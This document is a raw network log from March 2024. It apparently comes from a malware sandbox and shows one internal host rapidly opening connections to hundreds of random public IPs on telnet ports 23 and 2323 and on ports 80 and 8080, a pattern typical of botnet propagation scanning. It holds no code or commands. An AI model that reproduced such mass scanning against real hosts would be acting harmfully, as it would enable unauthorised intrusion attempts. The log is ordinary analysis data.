Mar 4, 2024 15:05:34.166424990 CET	50393	23	192.168.2.13	23.43.4.61
Mar 4, 2024 15:05:34.166433096 CET	48089	80	192.168.2.13	95.100.136.237
Mar 4, 2024 15:05:34.166435957 CET	50393	23	192.168.2.13	42.184.88.206
Mar 4, 2024 15:05:34.166435957 CET	50393	23	192.168.2.13	36.110.241.29
Mar 4, 2024 15:05:34.166435003 CET	50393	23	192.168.2.13	204.205.47.56
Mar 4, 2024 15:05:34.166435003 CET	50393	23	192.168.2.13	106.222.97.165
Mar 4, 2024 15:05:34.166440964 CET	50393	23	192.168.2.13	102.165.194.146
Mar 4, 2024 15:05:34.166435957 CET	50393	23	192.168.2.13	136.22.90.21
Mar 4, 2024 15:05:34.166443110 CET	48089	80	192.168.2.13	95.246.151.122
Mar 4, 2024 15:05:34.166435957 CET	50393	23	192.168.2.13	158.116.148.34
Mar 4, 2024 15:05:34.166435957 CET	48089	80	192.168.2.13	95.227.252.43
Mar 4, 2024 15:05:34.166435957 CET	50393	23	192.168.2.13	164.190.250.102
Mar 4, 2024 15:05:34.166449070 CET	50393	2323	192.168.2.13	9.93.178.74
Mar 4, 2024 15:05:34.166455030 CET	50393	23	192.168.2.13	212.85.32.210
Mar 4, 2024 15:05:34.166467905 CET	50393	23	192.168.2.13	174.1.95.204
Mar 4, 2024 15:05:34.166470051 CET	50393	23	192.168.2.13	81.129.169.51
Mar 4, 2024 15:05:34.166471004 CET	50393	23	192.168.2.13	63.49.144.38
Mar 4, 2024 15:05:34.166471004 CET	50393	23	192.168.2.13	60.139.216.250
Mar 4, 2024 15:05:34.166471004 CET	50393	23	192.168.2.13	60.91.239.155
Mar 4, 2024 15:05:34.166480064 CET	50393	23	192.168.2.13	126.168.145.6
Mar 4, 2024 15:05:34.166480064 CET	48089	80	192.168.2.13	95.105.141.20
Mar 4, 2024 15:05:34.166480064 CET	50393	23	192.168.2.13	116.244.143.121
Mar 4, 2024 15:05:34.166480064 CET	50393	23	192.168.2.13	204.7.223.87
Mar 4, 2024 15:05:34.166480064 CET	48089	80	192.168.2.13	95.19.63.73
Mar 4, 2024 15:05:34.166480064 CET	48089	80	192.168.2.13	95.203.50.59
Mar 4, 2024 15:05:34.166486979 CET	50393	23	192.168.2.13	207.5.72.138
Mar 4, 2024 15:05:34.166486979 CET	50393	23	192.168.2.13	133.141.250.80
Mar 4, 2024 15:05:34.166490078 CET	48089	80	192.168.2.13	95.141.188.193
Mar 4, 2024 15:05:34.166486979 CET	50393	23	192.168.2.13	156.123.129.133
Mar 4, 2024 15:05:34.166495085 CET	50393	23	192.168.2.13	124.122.172.212
Mar 4, 2024 15:05:34.166496038 CET	50393	23	192.168.2.13	69.76.17.75
Mar 4, 2024 15:05:34.166496038 CET	48089	80	192.168.2.13	95.177.130.44
Mar 4, 2024 15:05:34.166498899 CET	48089	80	192.168.2.13	95.46.36.69
Mar 4, 2024 15:05:34.166500092 CET	50393	23	192.168.2.13	54.50.38.15
Mar 4, 2024 15:05:34.166496992 CET	48089	80	192.168.2.13	95.188.1.236
Mar 4, 2024 15:05:34.166517019 CET	48089	80	192.168.2.13	95.210.44.244
Mar 4, 2024 15:05:34.166517019 CET	48089	80	192.168.2.13	95.144.86.253
Mar 4, 2024 15:05:34.166522026 CET	50393	23	192.168.2.13	61.27.0.54
Mar 4, 2024 15:05:34.166522026 CET	50393	23	192.168.2.13	176.48.143.195
Mar 4, 2024 15:05:34.166524887 CET	50393	23	192.168.2.13	104.45.23.80
Mar 4, 2024 15:05:34.166527987 CET	50393	23	192.168.2.13	164.4.194.171
Mar 4, 2024 15:05:34.166529894 CET	48089	80	192.168.2.13	95.246.11.109
Mar 4, 2024 15:05:34.166529894 CET	48089	80	192.168.2.13	95.181.12.196
Mar 4, 2024 15:05:34.166529894 CET	50393	2323	192.168.2.13	211.0.184.5
Mar 4, 2024 15:05:34.166529894 CET	50393	23	192.168.2.13	220.165.208.182
Mar 4, 2024 15:05:34.166531086 CET	50393	23	192.168.2.13	96.214.142.81
Mar 4, 2024 15:05:34.166539907 CET	48089	80	192.168.2.13	95.54.110.194
Mar 4, 2024 15:05:34.166539907 CET	50393	23	192.168.2.13	81.105.70.209
Mar 4, 2024 15:05:34.166543007 CET	50393	23	192.168.2.13	130.24.14.140
Mar 4, 2024 15:05:34.166548967 CET	50393	23	192.168.2.13	198.254.243.238
Mar 4, 2024 15:05:34.166562080 CET	50393	23	192.168.2.13	152.175.252.65
Mar 4, 2024 15:05:34.166565895 CET	50393	23	192.168.2.13	89.186.85.143
Mar 4, 2024 15:05:34.166568995 CET	50393	23	192.168.2.13	17.64.7.47
Mar 4, 2024 15:05:34.166569948 CET	50393	23	192.168.2.13	47.255.108.26
Mar 4, 2024 15:05:34.166569948 CET	50393	23	192.168.2.13	183.86.5.202
Mar 4, 2024 15:05:34.166570902 CET	50393	23	192.168.2.13	19.150.33.198
Mar 4, 2024 15:05:34.166572094 CET	48089	80	192.168.2.13	95.83.236.93
Mar 4, 2024 15:05:34.166570902 CET	50393	23	192.168.2.13	47.125.241.133
Mar 4, 2024 15:05:34.166573048 CET	50393	23	192.168.2.13	34.174.219.197
Mar 4, 2024 15:05:34.166570902 CET	50393	2323	192.168.2.13	2.199.106.205
Mar 4, 2024 15:05:34.166573048 CET	50393	23	192.168.2.13	99.244.255.18
Mar 4, 2024 15:05:34.166562080 CET	50393	2323	192.168.2.13	194.61.13.177
Mar 4, 2024 15:05:34.166573048 CET	50393	23	192.168.2.13	210.147.54.34
Mar 4, 2024 15:05:34.166562080 CET	48089	80	192.168.2.13	95.104.218.166
Mar 4, 2024 15:05:34.166562080 CET	48089	80	192.168.2.13	95.226.197.187
Mar 4, 2024 15:05:34.166585922 CET	48089	80	192.168.2.13	95.122.202.155
Mar 4, 2024 15:05:34.166587114 CET	50393	23	192.168.2.13	50.237.239.30
Mar 4, 2024 15:05:34.166599989 CET	50393	23	192.168.2.13	171.225.84.65
Mar 4, 2024 15:05:34.166599989 CET	48089	80	192.168.2.13	95.160.138.146
Mar 4, 2024 15:05:34.166604042 CET	48089	80	192.168.2.13	95.105.245.51
Mar 4, 2024 15:05:34.166604996 CET	48089	80	192.168.2.13	95.193.48.83
Mar 4, 2024 15:05:34.166604996 CET	50393	23	192.168.2.13	44.89.238.97
Mar 4, 2024 15:05:34.166605949 CET	50393	23	192.168.2.13	128.194.239.42
Mar 4, 2024 15:05:34.166605949 CET	50393	23	192.168.2.13	167.216.126.9
Mar 4, 2024 15:05:34.166605949 CET	50393	23	192.168.2.13	68.36.134.17
Mar 4, 2024 15:05:34.166605949 CET	50393	23	192.168.2.13	47.48.249.156
Mar 4, 2024 15:05:34.166605949 CET	50393	23	192.168.2.13	65.222.12.100
Mar 4, 2024 15:05:34.166605949 CET	48089	80	192.168.2.13	95.247.218.182
Mar 4, 2024 15:05:34.166606903 CET	50393	2323	192.168.2.13	118.134.111.157
Mar 4, 2024 15:05:34.166606903 CET	50393	23	192.168.2.13	213.12.43.175
Mar 4, 2024 15:05:34.166632891 CET	50393	2323	192.168.2.13	130.143.170.88
Mar 4, 2024 15:05:34.166632891 CET	48089	80	192.168.2.13	95.88.160.24
Mar 4, 2024 15:05:34.166632891 CET	50393	23	192.168.2.13	200.15.221.34
Mar 4, 2024 15:05:34.166632891 CET	48089	80	192.168.2.13	95.211.90.191
Mar 4, 2024 15:05:34.166632891 CET	48089	80	192.168.2.13	95.236.115.38
Mar 4, 2024 15:05:34.166632891 CET	50393	23	192.168.2.13	73.117.56.171
Mar 4, 2024 15:05:34.166637897 CET	50393	23	192.168.2.13	109.97.142.65
Mar 4, 2024 15:05:34.166637897 CET	50393	23	192.168.2.13	119.70.51.6
Mar 4, 2024 15:05:34.166656017 CET	50393	23	192.168.2.13	161.203.198.185
Mar 4, 2024 15:05:34.166656017 CET	48089	80	192.168.2.13	95.165.82.5
Mar 4, 2024 15:05:34.166656017 CET	50393	23	192.168.2.13	159.101.187.4
Mar 4, 2024 15:05:34.166656017 CET	50393	23	192.168.2.13	208.222.178.242
Mar 4, 2024 15:05:34.166656971 CET	50393	23	192.168.2.13	106.131.155.41
Mar 4, 2024 15:05:34.166660070 CET	48089	80	192.168.2.13	95.130.152.100
Mar 4, 2024 15:05:34.166663885 CET	50393	23	192.168.2.13	77.227.159.170
Mar 4, 2024 15:05:34.166665077 CET	48089	80	192.168.2.13	95.64.212.102
Mar 4, 2024 15:05:34.166667938 CET	50393	23	192.168.2.13	31.152.203.32
Mar 4, 2024 15:05:34.166665077 CET	48089	80	192.168.2.13	95.134.61.213
Mar 4, 2024 15:05:34.166665077 CET	48089	80	192.168.2.13	95.116.125.105
Mar 4, 2024 15:05:34.166665077 CET	48089	80	192.168.2.13	95.249.220.40
Mar 4, 2024 15:05:34.166665077 CET	50393	23	192.168.2.13	211.220.141.127
Mar 4, 2024 15:05:34.166676044 CET	50393	23	192.168.2.13	107.90.21.84
Mar 4, 2024 15:05:34.166685104 CET	48089	80	192.168.2.13	95.215.216.106
Mar 4, 2024 15:05:34.166685104 CET	50393	23	192.168.2.13	157.152.196.207
Mar 4, 2024 15:05:34.166690111 CET	50393	23	192.168.2.13	80.103.94.107
Mar 4, 2024 15:05:34.166690111 CET	50393	23	192.168.2.13	149.150.171.60
Mar 4, 2024 15:05:34.166693926 CET	50393	23	192.168.2.13	49.101.171.203
Mar 4, 2024 15:05:34.166693926 CET	50393	23	192.168.2.13	5.96.243.211
Mar 4, 2024 15:05:34.166693926 CET	48089	80	192.168.2.13	95.55.192.128
Mar 4, 2024 15:05:34.166695118 CET	48089	80	192.168.2.13	95.10.18.216
Mar 4, 2024 15:05:34.166703939 CET	50393	2323	192.168.2.13	169.96.87.233
Mar 4, 2024 15:05:34.166703939 CET	50393	2323	192.168.2.13	46.118.193.13
Mar 4, 2024 15:05:34.166703939 CET	50393	23	192.168.2.13	220.77.25.36
Mar 4, 2024 15:05:34.166707039 CET	50393	23	192.168.2.13	187.70.175.103
Mar 4, 2024 15:05:34.166703939 CET	50393	23	192.168.2.13	31.1.138.87
Mar 4, 2024 15:05:34.166708946 CET	50393	23	192.168.2.13	79.135.1.228
Mar 4, 2024 15:05:34.166708946 CET	50393	23	192.168.2.13	37.45.151.135
Mar 4, 2024 15:05:34.166719913 CET	50393	23	192.168.2.13	164.191.151.73
Mar 4, 2024 15:05:34.166719913 CET	50393	23	192.168.2.13	40.37.93.166
Mar 4, 2024 15:05:34.166727066 CET	50393	23	192.168.2.13	54.216.237.162
Mar 4, 2024 15:05:34.166737080 CET	50393	23	192.168.2.13	106.0.223.114
Mar 4, 2024 15:05:34.166737080 CET	48089	80	192.168.2.13	95.35.35.4
Mar 4, 2024 15:05:34.166740894 CET	48089	80	192.168.2.13	95.171.160.249
Mar 4, 2024 15:05:34.166740894 CET	50393	23	192.168.2.13	202.70.62.51
Mar 4, 2024 15:05:34.166743040 CET	50393	23	192.168.2.13	163.70.56.169
Mar 4, 2024 15:05:34.166743040 CET	50393	2323	192.168.2.13	35.46.134.57
Mar 4, 2024 15:05:34.166749954 CET	50393	23	192.168.2.13	24.42.208.254
Mar 4, 2024 15:05:34.166750908 CET	50393	23	192.168.2.13	106.173.174.8
Mar 4, 2024 15:05:34.166758060 CET	48089	80	192.168.2.13	95.126.253.36
Mar 4, 2024 15:05:34.166759014 CET	50393	23	192.168.2.13	155.102.3.146
Mar 4, 2024 15:05:34.166760921 CET	50393	23	192.168.2.13	207.202.87.22
Mar 4, 2024 15:05:34.166760921 CET	50393	23	192.168.2.13	160.97.221.170
Mar 4, 2024 15:05:34.166760921 CET	50393	23	192.168.2.13	50.143.140.79
Mar 4, 2024 15:05:34.166760921 CET	48089	80	192.168.2.13	95.22.92.94
Mar 4, 2024 15:05:34.166763067 CET	50393	2323	192.168.2.13	57.153.37.50
Mar 4, 2024 15:05:34.166764021 CET	50393	23	192.168.2.13	148.22.168.46
Mar 4, 2024 15:05:34.166764021 CET	48089	80	192.168.2.13	95.117.16.115
Mar 4, 2024 15:05:34.166763067 CET	50393	23	192.168.2.13	80.59.108.62
Mar 4, 2024 15:05:34.166764021 CET	48089	80	192.168.2.13	95.142.67.63
Mar 4, 2024 15:05:34.166763067 CET	50393	23	192.168.2.13	54.104.118.127
Mar 4, 2024 15:05:34.166764021 CET	48089	80	192.168.2.13	95.68.2.40
Mar 4, 2024 15:05:34.166764021 CET	50393	23	192.168.2.13	92.191.121.7
Mar 4, 2024 15:05:34.166779041 CET	50393	23	192.168.2.13	38.112.126.234
Mar 4, 2024 15:05:34.166786909 CET	48089	80	192.168.2.13	95.241.56.19
Mar 4, 2024 15:05:34.166786909 CET	48089	80	192.168.2.13	95.139.21.12
Mar 4, 2024 15:05:34.166786909 CET	50393	23	192.168.2.13	156.182.124.5
Mar 4, 2024 15:05:34.166794062 CET	50393	23	192.168.2.13	223.90.55.142
Mar 4, 2024 15:05:34.166795015 CET	50393	2323	192.168.2.13	173.205.214.15
Mar 4, 2024 15:05:34.166794062 CET	50393	23	192.168.2.13	78.148.100.1
Mar 4, 2024 15:05:34.166794062 CET	50393	23	192.168.2.13	63.17.103.150
Mar 4, 2024 15:05:34.166802883 CET	48089	80	192.168.2.13	95.4.142.10
Mar 4, 2024 15:05:34.166802883 CET	50393	23	192.168.2.13	90.200.133.87
Mar 4, 2024 15:05:34.166804075 CET	50393	23	192.168.2.13	156.170.108.178
Mar 4, 2024 15:05:34.166804075 CET	50393	23	192.168.2.13	222.147.140.173
Mar 4, 2024 15:05:34.166805029 CET	50393	23	192.168.2.13	17.134.88.130
Mar 4, 2024 15:05:34.166812897 CET	50393	23	192.168.2.13	153.110.213.42
Mar 4, 2024 15:05:34.166815996 CET	48089	80	192.168.2.13	95.157.132.22
Mar 4, 2024 15:05:34.166822910 CET	50393	23	192.168.2.13	121.190.24.105
Mar 4, 2024 15:05:34.166836977 CET	50393	23	192.168.2.13	73.99.156.150
Mar 4, 2024 15:05:34.166838884 CET	48089	80	192.168.2.13	95.8.178.160
Mar 4, 2024 15:05:34.166845083 CET	50393	23	192.168.2.13	102.199.220.201
Mar 4, 2024 15:05:34.166847944 CET	50393	23	192.168.2.13	83.52.119.212
Mar 4, 2024 15:05:34.166848898 CET	50393	23	192.168.2.13	158.36.6.230
Mar 4, 2024 15:05:34.166847944 CET	48089	80	192.168.2.13	95.100.223.134
Mar 4, 2024 15:05:34.166848898 CET	50393	23	192.168.2.13	41.174.51.58
Mar 4, 2024 15:05:34.166845083 CET	50393	23	192.168.2.13	77.137.7.243
Mar 4, 2024 15:05:34.166852951 CET	50393	23	192.168.2.13	223.192.83.148
Mar 4, 2024 15:05:34.166846037 CET	50393	23	192.168.2.13	54.195.74.68
Mar 4, 2024 15:05:34.166853905 CET	48089	80	192.168.2.13	95.43.228.13
Mar 4, 2024 15:05:34.166846037 CET	50393	23	192.168.2.13	65.194.142.12
Mar 4, 2024 15:05:34.166855097 CET	50393	23	192.168.2.13	199.233.209.10
Mar 4, 2024 15:05:34.166846037 CET	50393	23	192.168.2.13	205.56.99.128
Mar 4, 2024 15:05:34.166853905 CET	50393	2323	192.168.2.13	94.108.222.68
Mar 4, 2024 15:05:34.166855097 CET	50393	23	192.168.2.13	208.199.129.212
Mar 4, 2024 15:05:34.166863918 CET	50393	23	192.168.2.13	160.179.153.147
Mar 4, 2024 15:05:34.166863918 CET	48089	80	192.168.2.13	95.240.92.40
Mar 4, 2024 15:05:34.166866064 CET	50393	23	192.168.2.13	112.131.155.25
Mar 4, 2024 15:05:34.166873932 CET	50393	23	192.168.2.13	137.161.100.189
Mar 4, 2024 15:05:34.166874886 CET	50393	23	192.168.2.13	58.1.75.98
Mar 4, 2024 15:05:34.166874886 CET	50393	23	192.168.2.13	219.50.118.152
Mar 4, 2024 15:05:34.166879892 CET	50393	23	192.168.2.13	106.17.135.62
Mar 4, 2024 15:05:34.166879892 CET	48089	80	192.168.2.13	95.44.175.60
Mar 4, 2024 15:05:34.166881084 CET	50393	23	192.168.2.13	101.234.138.220
Mar 4, 2024 15:05:34.166886091 CET	50393	23	192.168.2.13	23.6.32.233
Mar 4, 2024 15:05:34.166887999 CET	50393	2323	192.168.2.13	204.152.155.4
Mar 4, 2024 15:05:34.166888952 CET	50393	23	192.168.2.13	52.124.139.237
Mar 4, 2024 15:05:34.166899920 CET	50393	23	192.168.2.13	132.156.127.158
Mar 4, 2024 15:05:34.166901112 CET	50393	23	192.168.2.13	67.1.90.166
Mar 4, 2024 15:05:34.166901112 CET	50393	23	192.168.2.13	186.159.0.6
Mar 4, 2024 15:05:34.166903973 CET	50393	2323	192.168.2.13	206.26.152.186
Mar 4, 2024 15:05:34.166903973 CET	48089	80	192.168.2.13	95.141.70.114
Mar 4, 2024 15:05:34.166918993 CET	50393	23	192.168.2.13	58.57.16.201
Mar 4, 2024 15:05:34.166918993 CET	50393	23	192.168.2.13	103.86.92.54
Mar 4, 2024 15:05:34.166918993 CET	50393	23	192.168.2.13	76.133.129.42
Mar 4, 2024 15:05:34.166923046 CET	50393	23	192.168.2.13	176.10.129.236
Mar 4, 2024 15:05:34.166923046 CET	50393	23	192.168.2.13	98.7.119.136
Mar 4, 2024 15:05:34.166924953 CET	50393	23	192.168.2.13	183.30.198.239
Mar 4, 2024 15:05:34.166923046 CET	50393	23	192.168.2.13	140.221.41.217
Mar 4, 2024 15:05:34.166925907 CET	50393	23	192.168.2.13	19.131.133.34
Mar 4, 2024 15:05:34.166923046 CET	50393	2323	192.168.2.13	74.218.240.235
Mar 4, 2024 15:05:34.166925907 CET	48089	80	192.168.2.13	95.236.242.8
Mar 4, 2024 15:05:34.166923046 CET	50393	23	192.168.2.13	116.74.143.153
Mar 4, 2024 15:05:34.166932106 CET	50393	23	192.168.2.13	1.23.237.38
Mar 4, 2024 15:05:34.166932106 CET	50393	23	192.168.2.13	62.133.100.87
Mar 4, 2024 15:05:34.166932106 CET	50393	23	192.168.2.13	87.0.145.109
Mar 4, 2024 15:05:34.166932106 CET	50393	23	192.168.2.13	180.173.172.189
Mar 4, 2024 15:05:34.166932106 CET	48089	80	192.168.2.13	95.94.192.153
Mar 4, 2024 15:05:34.166932106 CET	50393	23	192.168.2.13	40.91.183.204
Mar 4, 2024 15:05:34.166940928 CET	50393	23	192.168.2.13	219.184.241.54
Mar 4, 2024 15:05:34.166940928 CET	50393	23	192.168.2.13	148.11.211.77
Mar 4, 2024 15:05:34.166941881 CET	48089	80	192.168.2.13	95.31.4.10
Mar 4, 2024 15:05:34.166950941 CET	50393	23	192.168.2.13	121.137.8.108
Mar 4, 2024 15:05:34.166964054 CET	48089	80	192.168.2.13	95.188.173.149
Mar 4, 2024 15:05:34.166966915 CET	50393	23	192.168.2.13	4.152.247.233
Mar 4, 2024 15:05:34.166984081 CET	50393	23	192.168.2.13	153.167.169.219
Mar 4, 2024 15:05:34.166984081 CET	50393	23	192.168.2.13	66.33.153.116
Mar 4, 2024 15:05:34.166987896 CET	48089	80	192.168.2.13	95.75.223.236
Mar 4, 2024 15:05:34.166987896 CET	48089	80	192.168.2.13	95.72.92.235
Mar 4, 2024 15:05:34.166987896 CET	50393	2323	192.168.2.13	72.204.211.68
Mar 4, 2024 15:05:34.166995049 CET	50393	23	192.168.2.13	217.69.228.94
Mar 4, 2024 15:05:34.166995049 CET	48089	80	192.168.2.13	95.11.168.31
Mar 4, 2024 15:05:34.166995049 CET	48089	80	192.168.2.13	95.168.131.139
Mar 4, 2024 15:05:34.166999102 CET	50393	23	192.168.2.13	148.0.66.134
Mar 4, 2024 15:05:34.166999102 CET	50393	23	192.168.2.13	101.58.83.9
Mar 4, 2024 15:05:34.166996002 CET	50393	23	192.168.2.13	39.73.176.194
Mar 4, 2024 15:05:34.167001009 CET	50393	23	192.168.2.13	190.232.218.78
Mar 4, 2024 15:05:34.166997910 CET	48089	80	192.168.2.13	95.40.117.252
Mar 4, 2024 15:05:34.167006016 CET	48089	80	192.168.2.13	95.140.142.204
Mar 4, 2024 15:05:34.166999102 CET	50393	23	192.168.2.13	102.224.133.220
Mar 4, 2024 15:05:34.167006016 CET	50393	2323	192.168.2.13	83.106.113.216
Mar 4, 2024 15:05:34.166999102 CET	50393	23	192.168.2.13	93.213.212.191
Mar 4, 2024 15:05:34.167006016 CET	50393	23	192.168.2.13	179.192.143.168
Mar 4, 2024 15:05:34.166999102 CET	50393	23	192.168.2.13	91.26.4.87
Mar 4, 2024 15:05:34.167006016 CET	50393	23	192.168.2.13	171.155.29.154
Mar 4, 2024 15:05:34.167006016 CET	50393	23	192.168.2.13	67.15.160.140
Mar 4, 2024 15:05:34.167015076 CET	50393	23	192.168.2.13	1.70.66.176
Mar 4, 2024 15:05:34.167022943 CET	48089	80	192.168.2.13	95.130.163.53
Mar 4, 2024 15:05:34.167026043 CET	50393	23	192.168.2.13	197.30.199.29
Mar 4, 2024 15:05:34.167030096 CET	50393	23	192.168.2.13	79.49.215.106
Mar 4, 2024 15:05:34.167032957 CET	50393	23	192.168.2.13	84.133.153.70
Mar 4, 2024 15:05:34.167032957 CET	50393	2323	192.168.2.13	165.180.4.6
Mar 4, 2024 15:05:34.167047977 CET	48089	80	192.168.2.13	95.57.166.160
Mar 4, 2024 15:05:34.167049885 CET	50393	23	192.168.2.13	211.139.53.2
Mar 4, 2024 15:05:34.167049885 CET	48089	80	192.168.2.13	95.156.230.77
Mar 4, 2024 15:05:34.167057037 CET	50393	23	192.168.2.13	59.96.96.25
Mar 4, 2024 15:05:34.167057037 CET	50393	23	192.168.2.13	194.24.178.82
Mar 4, 2024 15:05:34.167057037 CET	48089	80	192.168.2.13	95.48.61.86
Mar 4, 2024 15:05:34.167057037 CET	48089	80	192.168.2.13	95.105.202.138
Mar 4, 2024 15:05:34.167062044 CET	50393	23	192.168.2.13	199.76.237.234
Mar 4, 2024 15:05:34.167062044 CET	48089	80	192.168.2.13	95.78.184.51
Mar 4, 2024 15:05:34.167064905 CET	50393	23	192.168.2.13	106.76.170.234
Mar 4, 2024 15:05:34.167066097 CET	50393	23	192.168.2.13	72.167.200.213
Mar 4, 2024 15:05:34.167068005 CET	50393	23	192.168.2.13	218.151.193.138
Mar 4, 2024 15:05:34.167063951 CET	50393	23	192.168.2.13	201.214.109.161
Mar 4, 2024 15:05:34.167068005 CET	48089	80	192.168.2.13	95.26.167.177
Mar 4, 2024 15:05:34.167063951 CET	50393	2323	192.168.2.13	196.131.124.155
Mar 4, 2024 15:05:34.167068005 CET	48089	80	192.168.2.13	95.104.111.161
Mar 4, 2024 15:05:34.167068005 CET	48089	80	192.168.2.13	95.247.212.245
Mar 4, 2024 15:05:34.167068005 CET	50393	23	192.168.2.13	44.59.230.58
Mar 4, 2024 15:05:34.167068958 CET	50393	23	192.168.2.13	107.158.12.110
Mar 4, 2024 15:05:34.167068958 CET	50393	23	192.168.2.13	87.145.201.241
Mar 4, 2024 15:05:34.167077065 CET	50393	23	192.168.2.13	67.117.178.101
Mar 4, 2024 15:05:34.167081118 CET	50393	23	192.168.2.13	69.7.163.116
Mar 4, 2024 15:05:34.167083025 CET	48089	80	192.168.2.13	95.178.3.149
Mar 4, 2024 15:05:34.167088985 CET	50393	23	192.168.2.13	19.172.19.175
Mar 4, 2024 15:05:34.167088985 CET	48089	80	192.168.2.13	95.65.59.205
Mar 4, 2024 15:05:34.167088985 CET	48089	80	192.168.2.13	95.255.101.128
Mar 4, 2024 15:05:34.167108059 CET	50393	2323	192.168.2.13	68.70.230.41
Mar 4, 2024 15:05:34.167108059 CET	50393	23	192.168.2.13	35.138.55.89
Mar 4, 2024 15:05:34.167108059 CET	50393	23	192.168.2.13	158.194.78.103
Mar 4, 2024 15:05:34.167108059 CET	40514	80	192.168.2.13	112.168.176.223
Mar 4, 2024 15:05:34.167110920 CET	50393	23	192.168.2.13	142.6.51.83
Mar 4, 2024 15:05:34.167110920 CET	50393	23	192.168.2.13	57.144.25.244
Mar 4, 2024 15:05:34.167110920 CET	50393	23	192.168.2.13	47.15.119.220
Mar 4, 2024 15:05:34.167118073 CET	50393	23	192.168.2.13	38.81.211.245
Mar 4, 2024 15:05:34.167130947 CET	50393	23	192.168.2.13	98.241.116.239
Mar 4, 2024 15:05:34.167145967 CET	50393	23	192.168.2.13	46.187.73.90
Mar 4, 2024 15:05:34.167146921 CET	50393	23	192.168.2.13	199.39.7.129
Mar 4, 2024 15:05:34.167146921 CET	48089	80	192.168.2.13	95.20.142.231
Mar 4, 2024 15:05:34.167146921 CET	50393	23	192.168.2.13	194.88.28.170
Mar 4, 2024 15:05:34.167146921 CET	50393	23	192.168.2.13	174.202.131.133
Mar 4, 2024 15:05:34.167149067 CET	50393	23	192.168.2.13	175.247.161.111
Mar 4, 2024 15:05:34.167149067 CET	48089	80	192.168.2.13	95.192.206.187
Mar 4, 2024 15:05:34.167156935 CET	50393	23	192.168.2.13	194.158.61.221
Mar 4, 2024 15:05:34.167156935 CET	50393	23	192.168.2.13	60.211.35.128
Mar 4, 2024 15:05:34.167156935 CET	50393	23	192.168.2.13	168.28.72.58
Mar 4, 2024 15:05:34.167157888 CET	50393	23	192.168.2.13	80.43.239.174
Mar 4, 2024 15:05:34.167157888 CET	50393	2323	192.168.2.13	211.234.185.89
Mar 4, 2024 15:05:34.167167902 CET	50393	23	192.168.2.13	189.191.142.168
Mar 4, 2024 15:05:34.167167902 CET	48089	80	192.168.2.13	95.108.122.159
Mar 4, 2024 15:05:34.167167902 CET	48089	80	192.168.2.13	95.34.194.238
Mar 4, 2024 15:05:34.167171955 CET	48089	80	192.168.2.13	95.36.227.190
Mar 4, 2024 15:05:34.167176008 CET	48089	80	192.168.2.13	95.232.233.115
Mar 4, 2024 15:05:34.167177916 CET	48089	80	192.168.2.13	95.71.181.229
Mar 4, 2024 15:05:34.167188883 CET	48089	80	192.168.2.13	95.127.244.166
Mar 4, 2024 15:05:34.167192936 CET	48089	80	192.168.2.13	95.127.28.130
Mar 4, 2024 15:05:34.167193890 CET	50393	23	192.168.2.13	133.224.156.113
Mar 4, 2024 15:05:34.167193890 CET	47577	8080	192.168.2.13	31.105.60.177
Mar 4, 2024 15:05:34.167207956 CET	47577	8080	192.168.2.13	95.178.40.73
Mar 4, 2024 15:05:34.167208910 CET	47577	8080	192.168.2.13	62.46.255.219
Mar 4, 2024 15:05:34.167207956 CET	48089	80	192.168.2.13	95.37.218.254
Mar 4, 2024 15:05:34.167212963 CET	47577	8080	192.168.2.13	62.16.125.1
Mar 4, 2024 15:05:34.167212963 CET	48089	80	192.168.2.13	95.72.49.79
Mar 4, 2024 15:05:34.167218924 CET	47577	8080	192.168.2.13	95.132.239.123
Mar 4, 2024 15:05:34.167227983 CET	48089	80	192.168.2.13	95.15.253.171
Mar 4, 2024 15:05:34.167227983 CET	48089	80	192.168.2.13	95.183.220.38
Mar 4, 2024 15:05:34.167227983 CET	48089	80	192.168.2.13	95.93.83.157
Mar 4, 2024 15:05:34.167227983 CET	47577	8080	192.168.2.13	94.203.93.148
Mar 4, 2024 15:05:34.167227983 CET	47577	8080	192.168.2.13	94.201.210.211
Mar 4, 2024 15:05:34.167234898 CET	47577	8080	192.168.2.13	31.233.177.128
Mar 4, 2024 15:05:34.167234898 CET	48089	80	192.168.2.13	95.153.76.70
Mar 4, 2024 15:05:34.167242050 CET	47577	8080	192.168.2.13	94.9.54.72
Mar 4, 2024 15:05:34.167242050 CET	47577	8080	192.168.2.13	95.82.113.89
Mar 4, 2024 15:05:34.167244911 CET	47577	8080	192.168.2.13	85.45.136.119
Mar 4, 2024 15:05:34.167242050 CET	48089	80	192.168.2.13	95.96.86.126
Mar 4, 2024 15:05:34.167242050 CET	47577	8080	192.168.2.13	85.177.95.245
Mar 4, 2024 15:05:34.167247057 CET	47577	8080	192.168.2.13	62.33.104.66
Mar 4, 2024 15:05:34.167249918 CET	48089	80	192.168.2.13	95.205.194.233
Mar 4, 2024 15:05:34.167249918 CET	47577	8080	192.168.2.13	94.210.18.14
Mar 4, 2024 15:05:34.167254925 CET	47577	8080	192.168.2.13	94.226.193.243
Mar 4, 2024 15:05:34.167254925 CET	47577	8080	192.168.2.13	94.159.164.221
Mar 4, 2024 15:05:34.167256117 CET	47577	8080	192.168.2.13	31.139.249.163
Mar 4, 2024 15:05:34.167262077 CET	47577	8080	192.168.2.13	31.3.1.166
Mar 4, 2024 15:05:34.167262077 CET	48089	80	192.168.2.13	95.9.222.225
Mar 4, 2024 15:05:34.167262077 CET	47577	8080	192.168.2.13	85.49.215.83
Mar 4, 2024 15:05:34.167268038 CET	47577	8080	192.168.2.13	31.138.189.65
Mar 4, 2024 15:05:34.167270899 CET	47577	8080	192.168.2.13	31.222.128.107
Mar 4, 2024 15:05:34.167290926 CET	47577	8080	192.168.2.13	95.142.19.45
Mar 4, 2024 15:05:34.167290926 CET	47577	8080	192.168.2.13	95.133.12.169
Mar 4, 2024 15:05:34.167301893 CET	48089	80	192.168.2.13	95.38.29.249
Mar 4, 2024 15:05:34.167301893 CET	47577	8080	192.168.2.13	31.148.231.96
Mar 4, 2024 15:05:34.167304039 CET	48089	80	192.168.2.13	95.200.173.45
Mar 4, 2024 15:05:34.167304039 CET	47577	8080	192.168.2.13	94.109.102.219
Mar 4, 2024 15:05:34.167304039 CET	47577	8080	192.168.2.13	95.88.101.204
Mar 4, 2024 15:05:34.167308092 CET	47577	8080	192.168.2.13	62.52.171.88
Mar 4, 2024 15:05:34.167304039 CET	48089	80	192.168.2.13	95.219.62.152
Mar 4, 2024 15:05:34.167304039 CET	47577	8080	192.168.2.13	85.39.91.207
Mar 4, 2024 15:05:34.167304993 CET	47577	8080	192.168.2.13	62.217.141.79
Mar 4, 2024 15:05:34.167318106 CET	48089	80	192.168.2.13	95.47.205.229
